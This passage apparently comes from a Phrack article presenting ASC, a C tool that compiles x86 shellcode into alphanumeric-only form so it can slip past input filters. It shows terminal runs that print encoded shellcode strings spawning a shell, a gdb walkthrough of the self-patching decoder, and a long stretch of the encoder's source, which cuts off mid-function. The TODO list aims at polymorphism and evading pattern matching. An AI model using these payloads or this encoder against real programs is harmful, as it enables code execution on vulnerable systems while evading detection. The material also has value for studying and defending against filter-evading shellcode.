previous Phrack papers ;)
First, have a look at P49-14 (Aleph One's paper).
The first shellcode he writes (testsc.c) contain 00 bytes (normally not a
problem for ASC). We generate a C file and an alphanumeric shellcode,
using "XOR patches":
rix@debian:~/phrack$ ./asc -c shellcode -f c -o alpha.c p49-14
Reading p49-14 ... (61 bytes)
Shellcode (390 bytes):
LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDSRajYX0Dka0TkafhN9fYf1Lkb0TkdjfY \
0Lkf0Tkgfh6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1Dks0tkwjfX0Dkx0tkx0tky \
CjnY0LkzC0TkzCCjtX0DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0tkzChpfcMX1Dk \
zCCCC0tkzCh4pCnY1Lkz1TkzCCCCfhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjdX0Dk \
zC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tkzMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG \
3IDpfcM2KgmnJGgbinYshdvD9d
Writing alpha.c ...
Done.
rix@debian:~/phrack$ gcc -o alpha alpha.c
rix@debian:~/phrack$ ./alpha
sh-2.03$ exit
exit
rix@debian:~/phrack$
It seems to work perfectly. Let's note the alphanumeric shellcode is also
written to stdout.
Now, let's compile Klog's shellcode (P55-08). We choose the "stack
technique", with a JMP ESP to return to our original shellcode. We also
insert some breakpoints:
rix@debian:~/phrack$ ./asc -m stack -s jmp -debug-build-jump
-debug-jump -debug-original -c sc_linux -f c -o alpha.c P55-08
Reading P55-08 ... (50 bytes)
Shellcode (481 bytes):
LLLLZhqjj9X5qjj9HPWPPSRPPafhshfhVgfXf5ZHfPDhpbinDfhUFfXf5FifPDSDhHIgGX51 \
6poPDTYI11fhs2DTY01fhC6fXf5qvfPDfhgzfXf53EfPDTY01fhO3DfhF9fXf5yFfPDTY01fh \
T2DTY01fhGofXf5dAfPDTY01fhztDTY09fhqmfXf59ffPDfhPNDfhbrDTY09fhDHfXf5EZfPD \
fhV4fhxufXf57efPDfhl5DfhOSfXf53AfPDfhV4fhFafXf5GzfPDfhxGDTY01fh4IfXf5TFfP \
Dfh7VDfhhvDTY01fh22fXf5m5fPDfh3VDfhWvDTY09fhKzfXf5vWfPDTY01fhe3Dfh8qfXf5f \
zfPfhRvDTY09fhXXfXf5HFfPDfh0rDTY01fhk5fXf5OkfPfhwPfXf57DfPDTY09fhz3DTY09S \
QSUSFVDNfhiADTY09WRa0tkbfhUCfXf1Dkcf1tkc3UX
Writing alpha.c ...
Done.
rix@debian:~/phrack$ gcc -o alpha alpha.c
rix@debian:~/phrack$ gdb alpha
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) run
Starting program: /home/rix/phrack/alpha
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffb1d in ?? () ;-debug-build-jump
(gdb) x/22i 0xbffffb1d
0xbffffb1d: push %ebx
0xbffffb1e: push %ecx
0xbffffb1f: push %ebx ;EDX will contain 0xFFFFFFFF
0xbffffb20: push %ebp
0xbffffb21: push %ebx
0xbffffb22: inc %esi ;ESI contains 0xFFFFFFFF.
0xbffffb23: push %esi ;ESI contains 0.
0xbffffb24: inc %esp ;00 00 00 on the stack.
0xbffffb25: dec %esi ;restores ESI.
0xbffffb26: pushw $0x4169 ;push an alphanumeric word.
0xbffffb2a: inc %esp ;an alphanumeric byte on the
; stack.
0xbffffb2b: push %esp
0xbffffb2c: pop %ecx ;ECX contains ESP (the
; address of the byte).
0xbffffb2d: xor %bh,(%ecx) ;NOT on this byte (EBP will
; contain the dword offset).
0xbffffb2f: push %edi ;ESI will contain 0xFFFFFFFF
0xbffffb30: push %edx
0xbffffb31: popa
0xbffffb32: xor %dh,0x62(%ebx,%ebp,2) ;NOT on the first byte to
; patch (our 0xCC, int3).
; Let's note the use of
; alphanumeric <disp8>, the
; use of EBX (address of our
; shellcode) and the use of
; EBP (the previously stored
; offset).
0xbffffb36: pushw $0x4355
0xbffffb3a: pop %ax ;AX contains 0x4355.
0xbffffb3c: xor %ax,0x63(%ebx,%ebp,2) ;XOR the next 2 bytes
; (<disp8> is now 0x63).
0xbffffb41: xor %si,0x63(%ebx,%ebp,2) ;NOT these 2 bytes.
(gdb) x/3bx 0xbffffb41+5 ;O16 + XOR + ModR/M +
; SIB + <disp8> = 5 bytes
0xbffffb46: 0x33 0x55 0x58 ;The 3 bytes we patched:
; NOT 0x33 = 0xCC => INT 3
; NOT (0x55 XOR 0x55) = 0xFF
; NOT (0x43 XOR 0x58) = 0xE4
; => JMP ESP
(gdb) cont
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffb47 in ?? () ;-debug-jump
(gdb) x/1i 0xbffffb47
0xbffffb47: jmp *%esp ;our jump
(gdb) info reg esp
esp 0xbffffd41 -1073742527
(gdb) cont ;Let's run this JMP ESP.
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffd42 in ?? () ;(previous ESP)+1
; (because of our INT3). We
; are now in our original
; shellcode.
(gdb) cont ;Let's run it ;)
Continuing.
sh-2.03$ exit ;Finally!!!
exit
(no debugging symbols found)...(no debugging symbols found)...
Program exited normally.
(gdb)
----| Conclusion
Writing IA32 alphanumeric shellcodes is finally easily possible. But using
only alphanumeric addresses is less obvious. In fact, this is the main
problem met when we simply want to use alphanumeric chars.
In some particular cases, it will however be possible. We'll try to return
to instructions that will themselves return to our shellcode. For example,
on Win32 systems, we can sometimes meet interesting instructions at
addresses like 0x0041XXXX (XX are alphanumeric chars). So we can generate
such return addresses.
Partial overwriting of addresses is sometimes also interesting, because we
can take advantage of bytes already present on the stack, and mainly take
advantage of the null byte (that we cannot generate), automatically copied
at the end of the C string.
Note that, sometimes, depending on what we try to exploit, we can use some
others chars, for example '_', '@', '-' or such classical characters. It
is obvious, in such cases, that they will be very precious.
The "stack technique" seems to need an executable stack... But we can
modify ESP's value at the beginning of our shellcode, and get it point to
our heap, for example. Our original shellcode will then be written to the
heap. However, we need to patch the POP ESP instruction, because it's not
"alphanumeric compliant".
Except, the size (it will possibly lead to some problems), we also must
mention another disadvantages of those techniques: compiled shellcodes
are vulnerable to toupper()/tolower() conversions. Writing an alphanumeric
and toupper()/tolower() resistant shellcode is nearly an impossible task
(remember the first array, with usable instructions).
This paper shows that, contrary to received ideas, an executable code can
be written, and stored nearly everywhere. Never trust anymore a string
that looks perfectly legal: perhaps is it a well disguised shellcode ;)
Thanks and Hello to (people are alphanumerically ordered :p ):
- Phrack staff.
- Devhell, HERT & TESO guys: particularly analyst, binf, gaius, mayhem,
klog, kraken & skyper.
- dageshi, eddow, lrz, neuro, nite, obscurer, tsychrana.
rix@hert.org
----| Code
This should compile fine on any Linux box with "gcc -o asc asc.c".
It is distributed under the terms of the GNU GENERAL PUBLIC LICENSE.
If you have problems or comments, feel free to contact me (rix@hert.org).
<++> asc.c !707307fc
/******************************************************************************
* ASC : IA 32 Alphanumeric Shellcode Compiler *
******************************************************************************
*
* VERSION: 0.9.1
*
*
* LAST UPDATE: Fri Jul 27 19:42:08 CEST 2001
*
*
* LICENSE:
* ASC - Alphanumeric Shellcode Compiler
*
* Copyright 2000,2001 - rix
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* TODO:
* - create LibASC, a library containing all functions.
* - permit specification of acceptable non-alphanumeric chars.
* - generate padding instructions sequences.
* - encode alphanumeric chars, to avoid pattern matching.
* - insert junk instructions (polymorphic stuff) and modify existing.
* - optimize "patch technique" when offset < 256 and is alphanumeric.
* - automatically calculate padding size for "stack without jump" technique.
* - C output format: simulate addresses in register, padding,...
* - use constant address for compiled shellcode.
* - modify ESP starting address for "stack technique".
* - simple shellcode formats conversion mode (no compilation).
* - insert spaces and punctuation to imitate classical sentences.
*
*
* CONTACT: rix <rix@hert.org>
*
******************************************************************************/
#include <stdio.h>
#include <getopt.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>
/* +------------------------------------------------------------------------+ */
/* | RANDOM NUMBERS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* initialize the pseudo-random numbers generator */
/* ============================================== */
void random_initialize() {
srand((unsigned int)time(0));
}
/* get a random integer i (0<=i<max) */
/* ================================= */
int random_get_int(int max) {
return (rand()%max);
}
/* +------------------------------------------------------------------------+ */
/* | SHELLCODES FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* this structure will contain all our shellcodes */
/* ============================================== */
struct Sshellcode {
unsigned char* opcodes; /* opcodes bytes */
int size; /* size of the opcodes bytes */
};
/* allocate a new Sshellcode structure */
/* =================================== */
struct Sshellcode *shellcode_malloc() {
struct Sshellcode *ret;
if ((ret=(struct Sshellcode*)malloc(sizeof(struct Sshellcode)))!=NULL) {
ret->opcodes=NULL;
ret->size=0;
}
return ret;
}
/* initialize an existing Sshellcode structure */
/* =========================================== */
void shellcode_zero(struct Sshellcode *shellcode) {
if (shellcode==NULL) return;
if (shellcode->opcodes!=NULL) free(shellcode->opcodes);
shellcode->opcodes=NULL;
shellcode->size=0;
}
/* free an existing Sshellcode structure */
/* ===================================== */
void shellcode_free(struct Sshellcode *shellcode) {
if (shellcode!=NULL) {
shellcode_zero(shellcode);
free(shellcode);
}
}
/* return an allocated string from an existing Sshellcode */
/* ====================================================== */
char *shellcode_malloc_string(struct Sshellcode *shellcode) {
char *ret;
if (shellcode==NULL) return NULL;
if (shellcode->opcodes==NULL) return "";
if ((ret=(char*)malloc(shellcode->size+1))==NULL) return NULL;
memcpy(ret,shellcode->opcodes,shellcode->size);
ret[shellcode->size]=0;
return ret;
}
/* overwrite an existing Sshellcode with a Sshellcode */
/* ================================================== */
struct Sshellcode *shellcode_cpy(struct Sshellcode *destination,struct Sshellcode *source) {
if (destination==NULL) return NULL;
shellcode_zero(destination);
if (source!=NULL) {
if (source->opcodes!=NULL) { /* if source contains a shellcode, we copy it */
if ((destination->opcodes=(unsigned char*)malloc(source->size))==NULL) return NULL;
memcpy(destination->opcodes,source->opcodes,source->size);
destination->size=source->size;
}
}
return destination;
}
/* append a Sshellcode at the end of an existing Sshellcode */
/* ======================================================== */
struct Sshellcode *shellcode_cat(struct Sshellcode *destination,struct Sshellcode *source) {
if (destination==NULL) return NULL;
if (destination->opcodes==NULL) shellcode_cpy(destination,source);
else { /* destination already contains a shellcode */
if (source!=NULL) {
if (source->opcodes!=NULL) { /* if source contain a shellcode, we copy it */
if ((destination->opcodes=(unsigned char*)realloc(destination->opcodes,
destination->size+source->size))==NULL) return NULL;
memcpy(destination->opcodes+destination->size,source->opcodes,source->size);
destination->size+=source->size;
}
}
}
return destination;
}
/* add a byte at the end of an existing Sshellcode */
/* =============================================== */
struct Sshellcode *shellcode_db(struct Sshellcode *destination,unsigned char c) {
struct Sshellcode *ret,*tmp;
/* build a tiny one byte Sshellcode */
tmp=shellcode_malloc();
if ((tmp->opcodes=(unsigned char*)malloc(1))==NULL) return NULL;
tmp->opcodes[0]=c;
tmp->size=1;
/* copy it at the end of the existing Sshellcode */
ret=shellcode_cat(destination,tmp);
shellcode_free(tmp);
return ret;
}
/* read a Sshellcode from a binary file */
/* ==================================== */
int shellcode_read_binary(struct Sshellcode *shellcode,char *filename) {
FILE *f;
int size;
if (shellcode==NULL) return -1;
if ((f=fopen(filename,"r+b"))==NULL) return -1;
fseek(f,0,SEEK_END);
size=(int)ftell(f);
fseek(f,0,SEEK_SET);
if ((shellcode->opcodes=(unsigned char*)realloc(shellcode->opcodes,shellcode->size+size))==NULL) return -1;
if (fread(shellcode->opcodes+shellcode->size,size,1,f)!=1) {
shellcode_zero(shellcode);
return -1;
}
shellcode->size+=size;
fclose(f);
return shellcode->size;
}
/* read a Sshellcode from a C file */
/* =============================== */
#define LINE_SIZE 80*256
#define HEXADECIMALS "0123456789ABCDEF"
int shellcode_read_C(struct Sshellcode *shellcode,char *filename,char *variable) {
FILE *f;
struct Sshellcode *binary;
unsigned char *hex,*p,c;
int i;
if (shellcode==NULL) return -1;
hex=HEXADECIMALS;
binary=shellcode_malloc();
if (shellcode_read_binary(binary,filename)==-1) {
shellcode_free(binary);
return -1;
}
shellcode_db(binary,0); /* for string searching */
p=binary->opcodes;
while (p=strstr(p,"char ")) { /* "char " founded */
p+=5;
while (*p==' ') p++;
if (!variable) { /* if no variable was specified */
while ((*p!=0)&&(*p!='[')) p++; /* search for the '[' */
if (*p==0) {
shellcode_free(binary);
return -1;
}
}
else { /* a variable was specified */
if (memcmp(p,variable,strlen(variable))) continue; /* compare the variable */
p+=strlen(variable);
if (*p!='[') continue;
}
/* *p='[' */
p++;
if (*p!=']') continue;
/* *p=']' */
p++;
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
if (*p!='=') continue;
/* *p='=' */
p++;
while (1) { /* search for the beginning of a "string" */
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
while ((*p=='/')&&(*(p+1)=='*')) { /* loop until the beginning of a comment */
p+=2;
while ((*p!='*')||(*(p+1)!='/')) p++; /* search for the end of the comment */
p+=2;
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
}
if (*p!='"') break; /* if this is the end of all "string" */
/* *p=begin '"' */
p++;
while (*p!='"') { /* loop until the end of the "string" */
if (*p!='\\') {
shellcode_db(shellcode,*p);
}
else {
/* *p='\' */
p++;
if (*p=='x') {
/* *p='x' */
p++;
*p=toupper(*p);
for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=i<<4; /* first digit */
p++;
*p=toupper(*p);
for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=c|i; /* second digit */
shellcode_db(shellcode,c);
}
}
p++;
}
/* end of a "string" */
p++;
}
/* end of all "string" */
shellcode_free(binary);
return shellcode->size;
}
shellcode_free(binary);
return -1;
}
/* write a Sshellcode to a binary file */
/* =================================== */
int shellcode_write_binary(struct Sshellcode *shellcode,char *filename) {
FILE *f;
if (shellcode==NULL) return -1;
if ((f=fopen(filename,"w+b"))==NULL) return -1;
if (fwrite(shellcode->opcodes,shellcode->size,1,f)!=1) return -1;
fclose(f);
return shellcode->size;
}
/* write a Sshellcode to a C file */
/* ============================== */
int shellcode_write_C(struct Sshellcode *shellcode,char *filename) {
FILE *f;
char *tmp;
int size;
if (shellcode==NULL) return -1;
if ((tmp=shellcode_malloc_string(shellcode))==NULL) return -1;
if ((f=fopen(filename,"w+b"))==NULL) return -1;
fprintf(f,"char shellcode[]=\"%s\";\n",tmp);
free(tmp);
fprintf(f,"\n");
fprintf(f,"int main(int argc, char **argv) {\n");
fprintf(f," int *ret;\n");
size=1;
while (shellcode->size*2>size) size*=2;
fprintf(f," char buffer[%d];\n",size);
fprintf(f,"\n");
fprintf(f," strcpy(buffer,shellcode);\n");
fprintf(f," ret=(int*)&ret+2;\n");
fprintf(f," (*ret)=(int)buffer;\n");
fprintf(f,"}\n");
fclose(f);
return shellcode->size;
}
/* print a Sshellcode on the screen */
/* ================================ */
int shellcode_print(struct Sshellcode *shellcode) {
char *tmp;
if (shellcode==NULL) return -1;
if ((tmp=shellcode_malloc_string(shellcode))==NULL) return -1;
printf("%s",tmp);
free(tmp);
return shellcode->size;
}
/* +------------------------------------------------------------------------+ */
/* | IA32 MACROS DEFINITIONS | */
/* +------------------------------------------------------------------------+ */
/* usefull macro definitions */
/* ========================= */
/*
SYNTAX:
r=register
d=dword
w=word
b,b1,b2,b3,b4=bytes
n=integer index
s=Sshellcode
*/
/* registers */
#define EAX 0
#define EBX 3
#define ECX 1
#define EDX 2
#define ESI 6
#define EDI 7
#define ESP 4
#define EBP 5
#define REGISTERS 8
/* boolean operators (bytes) */
#define XOR(b1,b2) (((b1&~b2)|(~b1&b2))&0xFF)
#define NOT(b) ((~b)&0xFF)
/* type constructors */
#define DWORD(b1,b2,b3,b4) ((b1<<24)|(b2<<16)|(b3<<8)|b4) /* 0xb1b2b3b4 */
#define WORD(b1,b2) ((b1<<8)|b2) /* 0xb1b2 */
/* type extractors (0=higher 3=lower) */
#define BYTE(d,n) ((d>>(n*8))&0xFF) /* get n(0-3) byte from (d)word d */
/* IA32 alphanumeric instructions definitions */
/* ========================================== */
#define DB(s,b) shellcode_db(s,b);
/* dw b1 b2 */
#define DW(s,w) \
DB(s,BYTE(w,0)) \
DB(s,BYTE(w,1)) \
/* dd b1 b2 b3 b4 */
#define DD(s,d) \
DB(s,BYTE(d,0)) \
DB(s,BYTE(d,1)) \
DB(s,BYTE(d,2)) \
DB(s,BYTE(d,3)) \
#define XOR_ECX_DH(s) \
DB(s,'0') \
DB(s,'1') \
#define XOR_ECX_BH(s) \
DB(s,'0') \
DB(s,'9') \
#define XOR_ECX_ESI(s) \
DB(s,'1') \
DB(s,'1') \
#define XOR_ECX_EDI(s) \
DB(s,'1') \
DB(s,'9') \
// xor [base+2*index+disp8],r8
#define XORsib8(s,base,index,disp8,r8) \
DB(s,'0') \
DB(s,(01<<6|r8 <<3|4 )) \
DB(s,(01<<6|index<<3|base)) \
DB(s,disp8) \
// xor [base+2*index+disp8],r32
#define XORsib32(s,base,index,disp8,r32) \
DB(s,'1') \
DB(s,(01<<6|r32 <<3|4 )) \
DB(s,(01<<6|index<<3|base)) \
DB(s,disp8) \
#define XOR_AL(s,b) \
DB(s,'4') \
DB(s,b) \
#define XOR_AX(s,w) \
O16(s) \
DB(s,'5') \
DW(s,w) \
#define XOR_EAX(s,d) \
DB(s,'5') \
DD(s,d) \
#define INCr(s,r) DB(s,('A'-1)|r)
#define DECr(s,r) DB(s,'H'|r)
#define PUSHr(s,r) DB(s,'P'|r)
#define POPr(s,r) DB(s,'X'|r)
#define POPAD(s) DB(s,'a')
#define O16(s) DB(s,'f')
#define PUSHd(s,d) \
DB(s,'h') \
DD(s,d) \
#define PUSHw(s,w) \
O16(s) \
DB(s,'h') \
DW(s,w) \
#define PUSHb(s,b) \
DB(s,'j') \
DB(s,b) \
#define INT3(s) \
DB(s,'\xCC') \
#define CALL_ESP(s) \
DB(s,'\xFF') \
DB(s,'\xD4') \
#define JMP_ESP(s) \
DB(s,'\xFF') \
DB(s,'\xE4') \
#define RET(s) \
DB(s,'\xC3') \
/* +------------------------------------------------------------------------+ */
/* | ALPHANUMERIC MANIPULATIONS FUNCTIONS | */
/* +-------------------------------------------------
-----------------------+ */
#define ALPHANUMERIC_BYTES "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMOPQRSTUVWXYZ"
/* return 1 if the byte is alphanumeric */
/* ==================================== */
int alphanumeric_check(unsigned char c) {
if (c<'0') return 0;
else if (c<='9') return 1;
else if (c<'A') return 0;
else if (c<='Z') return 1;
else if (c<'a') return 0;
else if (c<='z') return 1;
else return 0;
}
/* return a random alphanumeric byte */
/* ================================= */
unsigned char alphanumeric_get_byte() {
unsigned char *bytes=ALPHANUMERIC_BYTES;
return bytes[random_get_int(strlen(bytes))];
}
/* return a random alphanumeric byte b (c=CATEGORY_XOR,(b XOR(b XOR c))) */
/* ===================================================================== */
unsigned char alphanumeric_get_complement(unsigned char c) {
unsigned char ret;
while (1) {
ret=alphanumeric_get_byte();
if (alphanumeric_check(XOR(c,ret))) return ret;
}
}
/* +------------------------------------------------------------------------+ */
/* | REGISTERS MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return a random register in a set of allowed registers */
/* ====================================================== */
#define M_EAX (1<<EAX)
#define M_EBX (1<<EBX)
#define M_ECX (1<<ECX)
#define M_EDX (1<<EDX)
#define M_ESI (1<<ESI)
#define M_EDI (1<<EDI)
#define M_ESP (1<<ESP)
#define M_EBP (1<<EBP)
#define M_REGISTERS (M_EAX|M_EBX|M_ECX|M_EDX|M_ESI|M_EDI|M_ESP|M_EBP)
int alphanumeric_get_register(int mask) {
int regs[REGISTERS];
int size,i;
size=0;
for (i=0;i<REGISTERS;i++) { /* for all possible registers */
if (mask&(1<<i)) regs[size++]=i; /* add the register if it is in our mask */
}
return regs[random_get_int(size)];
}
/* return a "POPable" register (ECX|EDX) with the shellcode's base address using the return address on the stack */
/* ============================================================================================================= */
int alphanumeric_get_address_stack(struct Sshellcode *s) {
unsigned char ret;
if (s==NULL) return -1;
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
ret=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */
POPr(s,ret); /* pop ecx/edx =>pop the return value from the stack */
return ret;
}
/* initialize registers (reg=shellcode's base address) */
/* =================================================== */
int alphanumeric_initialize_registers(struct Sshellcode *s,unsigned char reg) {
unsigned char b[4];
int i;
if (s==NULL) return -1;
if (reg==EAX) {
PUSHr(s,EAX); /* push eax =>address */
reg=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */
POPr(s,reg); /* pop ecx/edx */
}
for (i=0;i<4;i++) b[i]=alphanumeric_get_byte(); /* get a random alphanumeric dword */
PUSHd(s,DWORD(b[0],b[1],b[2],b[3])); /* push '????' */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(b[0],b[1],b[2],b[3])); /* xor eax,'????' =>EAX=0 */
DECr(s,EAX); /* dec eax =>EAX=FFFFFFFF */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */
PUSHr(s,EAX); /* push eax =>EDX=FFFFFFFF */
PUSHr(s,EAX); /* push eax =>EBX=FFFFFFFF */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */
PUSHr(s,reg); /* push reg =>EBP=address */
PUSHr(s,EAX); /* push eax =>ESI=FFFFFFFF */
PUSHr(s,EAX); /* push eax =>EDI=FFFFFFFF */
POPAD(s); /* popad */
return 0;
}
/* +------------------------------------------------------------------------+ */
/* | STACK MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return the category of the byte */
/* =============================== */
#define CATEGORY_NULL 0
#define CATEGORY_00 1
#define CATEGORY_FF 2
#define CATEGORY_ALPHA 3
#define CATEGORY_ALPHA_NOT 4
#define CATEGORY_XOR 5
#define CATEGORY_XOR_NOT 6
int alphanumeric_stack_get_category(unsigned char c) {
if (c==0) return CATEGORY_00;
else if (c==0xFF) return CATEGORY_FF;
else if (alphanumeric_check(c)) return CATEGORY_ALPHA;
else if (c<0x80) return CATEGORY_XOR;
else { /* need a NOT */
c=NOT(c);
if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;
else return CATEGORY_XOR_NOT;
}
}
/* make a NOT on 1,2,3 or 4 bytes on the stack */
/* =========================================== */
int alphanumeric_stack_generate_not(struct Sshellcode *s,int size) {
if (s==NULL) return -1;
PUSHr(s,ESP); /* push esp */
POPr(s,ECX); /* pop ecx */
switch(size) {
case 1:
if (alphanumeric_get_register(M_EDX|M_EBX)==EDX) {
XOR_ECX_DH(s); /* xor [ecx],dh */
}
else {
XOR_ECX_BH(s); /* xor [ecx],bh */
}
break;
case 2:
if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) {
O16(s);XOR_ECX_ESI(s); /* xor [ecx],si */
}
else {
O16(s);XOR_ECX_EDI(s); /* xor [ecx],di */
}
break;
case 3:
DECr(s,ECX); /* dec ecx */
case 4:
if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) {
XOR_ECX_ESI(s); /* xor [ecx],esi */
}
else {
XOR_ECX_EDI(s); /* xor [ecx],edi */
}
break;
}
return 0;
}
/* generate 1,2,3 or 4 bytes from a category on the stack */
/* ====================================================== */
#define SB1 b[size-1]
#define SB2 b[size-2]
#define SB3 b[size-3]
#define SB4 b[size-4]
int alphanumeric_stack_generate_push(struct Sshellcode *s,int category,unsigned char *bytes,int size) {
int reg,i;
unsigned char b[4];
unsigned char xSB1,xSB2,xSB3,xSB4;
if (s==NULL) return -1;
memcpy(b,bytes,4);
/* possibly realize a NOT on b[] */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
for (i=0;i<size;i++) b[i]=NOT(b[i]);
}
/* generate bytes on the stack */
switch(category) {
case CATEGORY_00:
case CATEGORY_FF:
reg=alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI);
if (category==CATEGORY_00) INCr(s,reg); /* inc r16 =>r16=0*/
switch(size) {
case 1:
O16(s);PUSHr(s,reg); /* push r16 */
INCr(s,ESP); /* inc esp */
break;
case 2:
O16(s);PUSHr(s,reg); /* push r16 */
break;
case 3:
PUSHr(s,reg); /* push r32 */
INCr(s,ESP); /* inc esp */
break;
case 4:
PUSHr(s,reg); /* push r32 */
break;
}
if (category==CATEGORY_00) DECr(s,reg); /* dec r16 =>r16=FFFFFFFF */
break;
case CATEGORY_ALPHA:
case CATEGORY_ALPHA_NOT:
switch(size) {
case 1:
PUSHw(s,WORD(SB1,alphanumeric_get_byte())); /* push SB1 */
INCr(s,ESP); /* inc esp */
break;
case 2:
PUSHw(s,WORD(SB1,SB2)); /* push SB1 SB2 */
break;
case 3:
PUSHd(s,DWORD(SB1,SB2,SB3,alphanumeric_get_byte())); /* push SB1 SB2 SB3 */
INCr(s,ESP); /* inc esp */
break;
case 4:
PUSHd(s,DWORD(SB1,SB2,SB3,SB4)); /* push SB1 SB2 SB3 SB4 */
break;
}
break;
case CATEGORY_XOR:
case CATEGORY_XOR_NOT:
switch(size) {
case 1:
xSB1=alphanumeric_get_complement(SB1);
PUSHw(s,WORD(XOR(SB1,xSB1),alphanumeric_get_byte())); /* push ~xSB1 */
O16(s);POPr(s,EAX); /* pop ax */
XOR_AX(s,WORD(xSB1,alphanumeric_get_byte())); /* xor ax,xSB1 =>EAX=SB1 */
O16(s);PUSHr(s,EAX); /* push ax */
INCr(s,ESP); /* inc esp */
break;
case 2:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
PUSHw(s,WORD(XOR(SB1,xSB1),XOR(SB2,xSB2))); /* push ~xSB1 ~xSB2 */
O16(s);POPr(s,EAX); /* pop ax */
XOR_AX(s,WORD(xSB1,xSB2)); /* xor ax,xSB1 xSB2 =>EAX=SB1 SB2 */
O16(s);PUSHr(s,EAX); /* push ax */
break;
case 3:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
xSB3=alphanumeric_get_complement(SB3);
PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),alphanumeric_get_byte())); /* push ~xSB1 ~xSB2 ~xSB3 */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,alphanumeric_get_byte())); /* xor eax,xSB1 xSB2 xSB3 =>EAX=SB1 SB2 SB3 */
PUSHr(s,EAX); /* push eax */
INCr(s,ESP); /* inc esp */
break;
case 4:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
xSB3=alphanumeric_get_complement(SB3);
xSB4=alphanumeric_get_complement(SB4);
PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),XOR(SB4,xSB4))); /* push ~xSB1 ~xSB2 ~xSB3 ~xSB4 */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,xSB4)); /* xor eax,xSB1 xSB2 xSB3 xSB4 =>EAX=SB1 SB2 SB3 SB4 */
PUSHr(s,EAX); /* push eax */
break;
}
break;
}
/* possibly realize a NOT on the stack */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) alphanumeric_stack_generate_not(s,size);
return 0;
}
/* generate the original shellcode on the stack */
/* ============================================ */
int alphanumeric_stack_generate(struct Sshellcode *output,struct Sshellcode *input) {
int category,size,i;
if (input==NULL) return -1;
if (output==NULL) return -1;
i=input->size-1;
while (i>=0) { /* loop from the right to the left of our original shellcode */
category=alphanumeric_stack_get_category(input->opcodes[i]);
size=1; /* by default, we have 1 byte of the same category */
/* loop until maximum 3 previous bytes are from the same category */
